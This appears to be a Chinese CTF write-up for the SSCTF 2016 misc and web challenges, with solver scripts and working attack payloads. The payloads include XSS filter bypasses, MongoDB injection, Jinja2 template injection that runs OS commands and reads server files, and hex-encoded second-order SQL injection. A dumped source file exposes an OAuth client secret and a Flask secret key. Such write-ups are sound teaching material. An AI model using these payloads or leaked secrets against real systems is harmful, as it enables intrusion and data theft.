IT技术互动交流平台

SSCTF线上赛解题报告Part2(杂项部分&Web)

作者:佚名  发布日期:2016-03-03 21:27:22

Misc10(Welcome)
签到题目,啥也不说了直接上图,手机截图,请见谅。。。

Misc100(Speed Data)
开始想多了,想到什么CVE什么Word漏洞上去了,后来想到才100分,想到可能是pdf隐写,所以在google上搜索pdf stego ,找了几个工具,其中一个工具叫Wbstego,直接解密了即可:


Misc200(Puzzle)
图片中的二维码得到
# flag = f[root]
# f[x] = d[x] xor max(f[lson(x)], f[rson(x)])                  : x isn't leaf
# f[x] = d[x]                                                     : x is leaf
在wav最后1s明显有杂音,发现藏了数据
去掉一半的00,得到一个7z,剩下就是找口令了
尝试了各种wav和jpg隐写,最后机智的队友居然在1份54秒左右听到杂音
在网上找了个大小为38.5m的渡口,进行波形比较,发现在sample501800靠后点有巨大的差异。
把那段数据截取出来,strings看下,有这样一个字符串{1L0vey0u*.*me}
利用这个口令解开了7z
解开之后是0和1文件夹(分别代表左右儿子),以及每个文件夹下有个d(这是每个节点的数据)
先生成个目录,按照二叉树顺序存储结构的方式读取所有数据,脚本:
mululist=[]
def readmulu():
    fm=open('mulu.txt','rb')
    while True:
        line=fm.readline().strip(' ')
        if line:
            mululist.append(line+'d')
        else:
            break
readmulu()
node=[]
ct=0
for ml in mululist:
    ct+=1
    #print ml
    f=open(ml,'rb')
    t=int(f.read()[2:],2)
    #print t
    node.append(t)
print ct
nodenum=127
def lson(x):
    ret=x*2
    if ret > nodenum:
        print "l erro"
        ret=0
    return ret
def rson(x):
    ret=(x*2)+1
    if ret > nodenum:
        print "r erro"
        ret=0
    return ret
def d(x):
    if x return node[x-1]
   
def haveson(x):
    if x*2return 1
    else:
        return 0
   
def f(x):
  if not haveson(x):
        return d(x)
  else:
    l=0
    r=0
    rs=rson(x)
    ls=lson(x)
    if rs!=0:
        r=f(rs)
    if ls!=0:
        l=f(ls)
  return d(x)^max(l,r)
print hex(f(1))
'''
>>> s='53534354467b5353435446266e3163613163613126326f6936262a2e2a7d'
>>> s.decode('hex')
'SSCTF{SSCTF&n1ca1ca1&2oi6&*.*}'
'''



Misc300(Hungry Game)
这道题目是一个js写的游戏,最终目的是打boss。
在解题的过程中,有这么几层:
第一层:有一道过不去的门,提示找钥匙但是并不知道钥匙在哪。通过阅读game.js代码可以知道,游戏通过发送msg(‘next’, {}) 来进入下一关。所以果断打开浏览器控制台输入如下代码:
ws.send(JSON.stringify([msg('next', {})]));

即可进入下一层。
第二层:从这里开始游戏不允许直接跳关。游戏要求采集9999的木头,按住空格,1秒一个。然而游戏时间限制在5分钟,通常手段必然过不去。阅读game.js得知msg(‘wood’, {‘time’: tmp})为发送到服务器的数据,tmp是时间(毫秒),所以构造payload:
ws.send(JSON.stringify([msg('wood',{'time':100000000000000})]));ws.send(JSON.stringify([msg('next',{})]));
即可进入下一关。
第三层:游戏要求采集9999的钻石,按空格一下一个。采用和第二层相同的方式,发现服务器有检查,不能按得过快(也就是不能在一次内采集过多钻石),于是改为for循环形式:
for(var i=0;i2000;i++){ws.send(JSON.stringify([msg('diamond',{'count':5})]))};ws.send(JSON.stringify([msg('next',{})]));
即可进入下一关。
第四层:这层是boss层,游戏要求玩家攻击boss15下,提示说近战武器无法伤到boss,经过测试发现玩家靠近boss即被秒杀。于是在远离boss的位置输入如下代码:
function attack(){ws.send(JSON.stringify([msg('attack',{'x':boss.x,'y':boss.y})]));setTimeout("attack()",1000);};attack();
等待15秒即可获得flag。
效果:

Misc400(Warrior And Tower III) —–比赛时未作出来,赛后做
这道题目到现在我也没搞懂…
这是道算法题目,是要玩一个捡肥皂的游戏。游戏开始从左到右有6个桩子,每个桩子旁边有一堆肥皂,玩家可以把任意块肥皂从某个桩子移动到下一个桩子,最后没有肥皂可以捡的玩家输掉游戏。
一开始一直在想怎么获胜,写了好几种方式然而都没有什么卵用,直到赛后队友告诉我这个是通过AI的bug来获得flag的:因为AI每次捡肥皂只能捡桩子周围两个距离以内的,但是AI还要捡完周围的,所以把肥皂连城一条线就能获胜。
……好吧
- -、然而并没有做出来,赛后搞定就当做纪念吧。
脚本:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import sys
EMAIL = 'I won't give you this.'
PWD = 'I won't give you this.'
io = remote('socket.lab.seclover.com',23333)
def cls():
 
 return
class GameSolver:
 def __init__(self,io):
  self.MAP = []
  self.BLOCK = []
  self.PIVOT = []
  self.POSX = 0
  self.POSY = 0
  self.IO = io
  self.MAXX = 0
  self.MAXY = 0
  self.PA_FOUND = 0
  self.PA_RESULT = 0
  self.PO_FOUND = 0
  self.PO_RESULT = 0
  return
  
 def StartGame(self):
  self.IO.recvuntil("Input 'start' to start the game ")
  self.IO.sendline('start ')
  self.ReadMap()
  self.DumpInfo()
  return
  
 def ScanPivot(self,pos,id):
  DIRECTION = [(0,-1),(0,1),(1,0),(-1,0)]
  self.VISITED[pos[0]][pos[1]] = 1
  for i in DIRECTION:
   nextx = pos[0] + i[0]
   nexty = pos[1] + i[1]
   if self.MAP[nextx][nexty] == '@' and not self.VISITED[nextx][nexty]:
    # self.MAP[nextx][nexty] = '0'
    self.BLOCK[id].append((nextx,nexty))
    self.ScanPivot((nextx,nexty),id)
    # self.MAP[nextx][nexty] = '@'
  return
  
 def GetPivotAdjacentFreeSpace(self,pos):
  DIRECTIONJ = [(0,-1),(1,0),(-1,0),(0,1)]
  DIRECTION = [(0,-1),(1,0),(-1,0),(0,1)]
  self.VISITED[pos[0]][pos[1]] = 1
  for i in DIRECTION:
   nextx = pos[0] + i[0]
   nexty = pos[1] + i[1]
   if not self.VISITED[nextx][nexty]:
    if self.MAP[nextx][nexty] == '@' and not self.PA_FOUND:
     self.GetPivotAdjacentFreeSpace((nextx,nexty))
    elif self.MAP[nextx][nexty] == '.':
     adj = 0
     for j in DIRECTIONJ:
      kx = nextx + j[0]
      ky = nexty + j[1]
      if self.MAP[kx][ky] == '@': adj += 1
     if adj > 1:
      continue
     self.PA_FOUND = 1
     self.PA_RESULT = (nextx,nexty)
     return
    elif self.PA_FOUND:
     return
  return
  
 def GetPivotOutsideBlock(self,pos):
  #print pos
  #DIRECTION = [(1,0),(-1,0),(0,-1),(0,1)]
  #DIRECTIONJ = [(1,0),(-1,0),(0,-1),(0,1)]
  DIRECTIONJ = [(0,-1),(1,0),(-1,0),(0,1)]
  DIRECTION = [(0,-1),(1,0),(-1,0),(0,1)]

 

  self.VISITED[pos[0]][pos[1]] = 1
  for i in DIRECTION:
   nextx = pos[0] + i[0]
   nexty = pos[1] + i[1]
   #print 'Going ', (nextx,nexty)
   if not self.VISITED[nextx][nexty] and self.MAP[nextx][nexty] == '@':
    self.GetPivotOutsideBlock((nextx,nexty))
    if self.PO_FOUND: return
    for j in DIRECTIONJ:
     kx = nextx + j[0]
     ky = nexty + j[1]
     if self.MAP[kx][ky] == '.':
      self.PO_FOUND = 1
      self.PO_RESULT = (nextx,nexty)
      return
  return
  
 def GetPivotPos(self,id):
  return self.PIVOT[id]
 
 # FIXED
 def ReadMap(self):
  
  # init
  self.MAP = []
  self.BLOCK = []
  self.PIVOT = []
  self.POSX = 0
  self.POSY = 0
  map_buf = list(self.IO.recv(99999))
  t = map_buf
  try:
   while map_buf[0] != '#':
    map_buf.pop(0) # remove all dummy characters
  except Exception,e:
   print e, t
   self.IO.interactive()
  X = 0
  Y = 0
  while 1:
   self.MAP.append([])
   Y = 0
   while 1:
    ch = map_buf.pop(0)
    #print ord(ch)
    if ch == ' ':
     self.MAXY = Y
     break
    self.MAP[X].append(ch)
    Y += 1
   X += 1
   if len(map_buf) == 0: break
  
  self.MAXX = X
  # scan map for pivots
  self.VISITED = []
  for i in range(self.MAXX):
   self.VISITED.append([])
   for j in range(self.MAXY):
    self.VISITED[i].append(0)
  
  for i in range(self.MAXX):
   for j in range(self.MAXY):
    if self.MAP[i][j] == 'A':
     self.POSX = i
     self.POSY = j
    elif self.MAP[i][j] == '$':
     self.BLOCK.append([])
     self.ScanPivot((i,j),len(self.PIVOT))
     self.PIVOT.append((i,j))
  return
 
 def GotoPos(self,pos,ignoreBlocks=True):
  print 'Going to', pos
  path = ''
  q = []
  visit = []
  for i in range(self.MAXX):
   visit.append([])
   for j in range(self.MAXY):
    visit[i].append(0)
  visit[self.POSX][self.POSY] = 1
  q.append({'pos':(self.POSX,self.POSY,''),'prev':0})
  DIRECTION = [(0,1,'l'),(1,0,'j'),(-1,0,'k'),(0,-1,'h')]
  while len(q) > 0:
   cur = q.pop(0)
   if cur['pos'][0] == pos[0] and cur['pos'][1] == pos[1]:
    while isinstance(cur,dict):
     path = cur['pos'][2] + path
     cur = cur['prev']
    return path
   for i in DIRECTION:
    next_x = cur['pos'][0] + i[0]
    next_y = cur['pos'][1] + i[1]
    if not visit[next_x][next_y] and self.MAP[next_x][next_y] != '#' and self.MAP[next_x][next_y] != '$':
     if not ignoreBlocks and self.MAP[next_x][next_y] == '@': continue
     q.append({'pos':(next_x,next_y,i[2]),'prev':cur})
     visit[next_x][next_y] = 1
  # cannot get there
  return ''
  
 def SendCmd(self,cmd,interactive=False):
  log.info("Cmd : " + cmd)
  self.IO.sendline(cmd)
  if interactive:
   self.IO.interactive()
  else:
   self.ReadMap() # Reload Map
   self.DumpInfo()
  return
 
 def DumpInfo(self):
  print self.MAXX, self.MAXY
  for i in range(self.MAXX):
   for j in range(self.MAXY):
    sys.stdout.write(self.MAP[i][j])

 

   sys.stdout.write(' ')
  print self.MAXY * '-'
  '''
  for i in self.PIVOT:
   print 'PIVOT : ', i
  for i in self.BLOCK:
   print 'BLOCK : ', i
  '''
  return
 
 def ClearVisited(self):
  self.VISITED = []
  for i in range(self.MAXX):
   self.VISITED.append([])
   for j in range(self.MAXY):
    self.VISITED[i].append(0)
  return
 
 def MoveFromTo(self,f,t,num=-1):
  k = num
  if num == -1: k = 99999
  for i in range(k):
   if len(self.BLOCK[f]) == 0: break
   self.PO_FOUND = 0
   self.ClearVisited()
   self.GetPivotOutsideBlock(self.GetPivotPos(f))
   if self.PO_FOUND == 0:
    log.warning("Cannot find an outside block!")
    exit(0)
   pos = self.PO_RESULT
   self.SendCmd(self.GotoPos(pos) + 'L')
   self.PA_FOUND = 0
   self.ClearVisited()
   self.GetPivotAdjacentFreeSpace(self.GetPivotPos(t))
   if self.PA_FOUND == 0:
    log.warning("Cannot find an outside block!")
    exit(0)
   pos = self.PA_RESULT
   self.SendCmd(self.GotoPos(pos,False) + 'P')
  
  return
  
 def BackToOrigin(self,interactive=False):
  self.SendCmd(self.GotoPos((1,1),True),interactive)
  return
  
 def CloseGame(self):
  self.IO.close()
  return
  
 def Solve(self):
  self.MoveFromTo(3,4,10)
  self.BackToOrigin(True)
  return
def main():
 io.recvuntil('Email Addr :')
 io.sendline(EMAIL)
 io.recvuntil('Password   :')
 io.sendline(PWD)
 
 try:
  Game = GameSolver(io)
  Game.StartGame()
  Game.Solve()
  Game.CloseGame()
 except Exception,e:
  print e
  io.interactive
 
 return 0
if __name__ == '__main__':
 main()
效果:

Web
Web100(Up!Up!Up!)
一个上传,研究了半天都没解决,什么常规的方法都试过了,能改的属性都改过了,最后队友看了看包,来了句,可没可能在上传表单属性Content-Type: multipart/form-data;那里有个判断啊,瞬间觉得世界明亮了,于是就这么拿了flag!
Web200(Can YouHit Me?)
Gg了一篇文章,然后肯定是测试最新那个了—但发现过滤了on、eval、alert等字符,双写绕过。
Payload:
http://960a23aa.seclover.com/index.php?xss={{'a'.coonnstructor.prototype.charAt=[].join;$evevalal('x=1}} };aleralertt(/ssctf_Nu1L/)//');}}
Web300(Legend?Legend)
又是MMD。。。。。。。。。。一篇文章
本来想测试下,结果貌似又被搅屎了,然后就报不了js错误直接跳回首页了,就拿最终的图吧。
然后就利用return构造,payload:
http://806bddce.seclover.com/news.php?newsid=3%27});return%20{title:tojson(db.getCollectionNames()),password:2};//&password=test

http://806bddce.seclover.com/news.php?newsid=3%27});return%20{title:tojson(db.user.find()[0])};//&password=test
然后邮箱登录。。。我还问西瓜牛为啥没有flag。。。

翻了翻邮箱,找到~
 Web400(Flag-Man)
一开始以为是cookie哪里改成赵日天= == = == = == = = =无力吐槽,然后在乌云看到一篇文章,点击题目的login,发现name的value是你github账号名字,于是开了开脑洞:
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{{ c.__init__.func_globals['linecache'].__dict__['os'].system('id') }}
{% endif %}
{% endfor %}
为了简短代码,
{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {{ loop.index0 }}{% endif %} {% endfor %}
得到索引是59
# 循环查看所有的模块 发现有os, __file__,
__builtins__等,可以用open
{% for i in range(0, 10) %} {{

 

[].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__.keys()[i]
}} {% endfor %}
但是要先知道当前文件名,所以
{{
[].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['os'].path.realpath(__file__)
}}
得到文件名  ssctf.py,然后读文件
{{ [].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['__builtins__'].open("/data1/www/htdocs/259/4083475a59f34e34/2/ssctf.py",
"r").read() }}
得到
name:# -*- coding: utf-8 -*- from flask import Flask,abort,request,session,redirect,render_template_string import os import json import datetime import urllib import re import time import hashlib #import sqlite3 import threading from rauth.service import OAuth2Service BASE_DIR = os.path.dirname(os.path.abspath(__file__)) DEBUG = os.name =='nt' if DEBUG: WEBHOME = 'http://127.0.0.1/' else: WEBHOME = 'http://b525ac59.seclover.com/' github = OAuth2Service( name='github', base_url='https://api.github.com/', access_token_url='https://github.com/login/oauth/access_token', authorize_url='https://github.com/login/oauth/authorize', client_id= '6ad5ab3c971c740adf64', client_secret= 'd6aed929c3b9bf713a37435c117619dcd46194e1', ) app = Flask(__name__) app.debug = DEBUG app.secret_key = "sflkgjsiotu2rjdskjfnpwq9rwrehnpqwd0i2ruruogh9723yrhbfnkdsjl" app.flagman = (1,'flagman','SSCTF{dc28c39697058241d924be06462c2040}','/Article/UploadPic/2016-3/201633144237330.png') # app.lastid = 1 # app.lock = threading.Lock() # def getnewid(): # app.lock.acquire() # app.lastid+=1 # newid = app.lastid # app.lock.release() # return newid # def dbinsert(name,uid,pic): # newid = getnewid() # app.user[newid] = (name,uid,pic) # return newid # def dbfind(user_id): # userinfo = app.user.get(user_id) # if userinfo: # return (user_id,)+userinfo # return None # def dbfind_uid(uid): # for u in app.user: # if app.user[u][1]==uid: # return (u,)+app.user[u] # return None # app.dbcon = sqlite3.connect(":memory:", check_same_thread=False) # app.dbcur = app.dbcon.cursor() # app.dbcur.executescript('''CREATE TABLE "user" ( # "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, # "name" TEXT, # "uid" TEXT, # "pic" TEXT # ) # ; # CREATE UNIQUE INDEX "id" # ON "user" ("id" ASC); # CREATE UNIQUE INDEX "uid" # ON "user" ("uid" ASC); # ''') # def dbinsert(name,uid,pic): # sql = '''INSERT INTO "user" ("name", "uid", "pic") VALUES (?,?,?);''' # app.dbcur.execute(sql,(name,uid,pic)) # app.dbcon.commit() # return app.dbcur.lastrowid # def dbfind(user_id): # sql = '''SELECT * FROM "user" where id = ?''' # rows = app.dbcur.execute(sql,(user_id,)) # for id,name,realuid,pic in rows: # return (id,name,realuid,pic) # return None # dbinsert('howmp','uid','/Article/UploadPic/2016-3/201633144237330.png') @app.route('/user/') def user(): userinfo = session.get('info') if not userinfo: #session.pop('info') return "please login first.
Powered by Flask/0.11.2" user_id,name,realuid,pic = userinfo if user_id == 1: user_id,name,realuid,pic = app.flagman name = str(name) pic = str(pic) template = u'''
name:''' + name + '
uid:{{ realuid }}
id:{{ user_id }}' #template += u"
{{app.secret_key}}" return render_template_string(template,**(dict(globals(), **locals()))) @app.route('/') def index(): def _link(): params = {'redirect_uri': WEBHOME+'callback'} icon = u'' return """
%s
""" % (github.get_authorize_url(**params), icon) html = """ %slogin
only / and /user,no other pages! """ % _link() return html @app.route('/callback') def callback(): code = request.args.get('code') if not code: abort(401) data = dict(code=request.args['code'], redirect_uri=WEBHOME+'callback', ) try: auth = github.get_auth_session(data=data) me = auth.get('user').json() session['info']=[2,me['name'],me['id'],me['avatar_url']] return redirect('/user/') except Exception,e: return e if __name__ == '__main__': app.run(host='0.0.0.0',port=80)
因为最后没截图了,就拿这当吧,当时拿到py源码发现有app.flagman- -改github昵称,利用这篇文章中的{{…….}}进行绕过:

访问下就行了:

Web500(AFSRC-Market)—–比赛时未作出来,赛后做
比赛时没有发现给的hint竟然还有一个单词叫is_number,明显的是这个函数造成的过滤不严格,使得恶意数据通过十六进制插入数据库造成二次注入,代码的话首先测试的是904 and 1=1,构造payload为http://edb24e7c.seclover.com/add_cart.php?id=0x39303420616e6420313d31,访问之后再http://edb24e7c.seclover.com/userinfo.php的myinfo下发现了money

 


尝试904 and 1=0,money变为

,报错,直接确定注入。之后就是盲注了。。。盲注的话也是有技巧的,首先爆数据库名,构造904 and 1=0 union select 1,2,SCHEMA_NAME,4 frominformation_schema.SCHEMATA limit 1,1;#,得到payload为http://edb24e7c.seclover.com/add_cart.php?id=0x39303420616e6420313d3020756e696f6e2073656c65637420312c322c534348454d415f4e414d452c342066726f6d20696e666f726d6174696f6e5f736368656d612e534348454d415441206c696d697420312c313b23,然后查表,构造http://edb24e7c.seclover.com/add_cart.php?id=0x904and 1=0 union select 1,2,table_name,4 from information_schema.tables wheretable_schema=’web05′;#得到flag表,爆字段数,构造904 and 1=0 union select 1 from flag #,依次select 1 select1,2,发现在select 1,2,3,4的时候

 money为3,所以,得出结论,flag表有四个字段,其中第三个字段上有东西,根据经验把目标锁定在flag,于是构造904 and 1=0 union select 1,2,flag,4 from flag #,得到的payload为http://edb24e7c.seclover.com/add_cart.php?id=0x39303420616e6420313d3020756e696f6e2073656c65637420312c322c666c61672c342066726f6d20666c61672023,之后发现,得到数据库名

于是访问http://edb24e7c.seclover.com/2112jb1njIUIJ__tr_R/tips.txt得到tips:
1、Congratulationsfor you !You finished 80%,Come on continue!
2、token=md5(md5(username)+salt)salt max lenght is 5(hexs)
3、Add the MoneyGet the Flag
提示很明显了,根据提示,得到自己token然后爆破就可以了
首先找到表名,http://edb24e7c.seclover.com/add_cart.php?id=0x39303420616e6420313d3020756e696f6e2073656c65637420312c322c7461626c655f6e616d652c342066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573207768657265207461626c655f736368656d613d27776562303527206c696d697420312c313b23,构造payload,得到user表,构造payload为904 and 1=0union select 1,2,token,4 from user  whereusername =’Albertchang’ #,访问http://edb24e7c.seclover.com/add_cart.php?id=0x39303420616e6420313d3020756e696f6e2073656c65637420312c322c746f6b656e2c342066726f6d20757365722020776865726520757365726e616d65203d27416c626572746368616e67272023后在money得到自己的token:4e35baffcafd958795c0efed53bfb080,然后写个脚本爆破首先对自己的用户名Albertchang进行md5为18dda757bd3c9977b65d519a3cb81fbc,然后写脚本,补上一到五个字符进行md5
import hashlib
def md5(str):
    import hashlib
    m = hashlib.md5()
    m.update(str)
    return m.hexdigest()
li = []
s = '18dda757bd3c9977b65d519a3cb81fbc'
chars = ['0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f']
for i in chars :
    li.append(s+i)
for i in chars :
    for j in chars :
        li.append(s+i+j)
for i in chars :
    for j in chars :
        for k in chars :
            li.append(s+i+j+k)
for i in chars :
    for j in chars :
        for k in chars :
            for l in chars :
                li.append(s+i+j+k+l)
for i in chars :
    for j in chars :
        for k in chars :
            for l in chars :
                for m in chars :
                    li.append(s+i+j+k+l+m)
for i in li :
    if md5(i) == '4e35baffcafd958795c0efed53bfb080' :
        print i
得到18dda757bd3c9977b65d519a3cb81fbc8b76d,所以salt是8b76d。之后addmoney,burp抓包改一下salt在forward就得到flag了:

最后,感谢四叶草的@kun@line@zhao瓜皮等辛勤的工作人员,给我们带来了一场精彩的比赛,让我们也学到了很多东西,同时也鄙视一下一直在搅屎web300那个注入的脑残。。。。。
Tag标签: 杂项   部分   报告  
  • 专题推荐

About IT165 - 广告服务 - 隐私声明 - 版权申明 - 免责条款 - 网站地图 - 网友投稿 - 联系方式
本站内容来自于互联网,仅供用于网络技术学习,学习中请遵循相关法律法规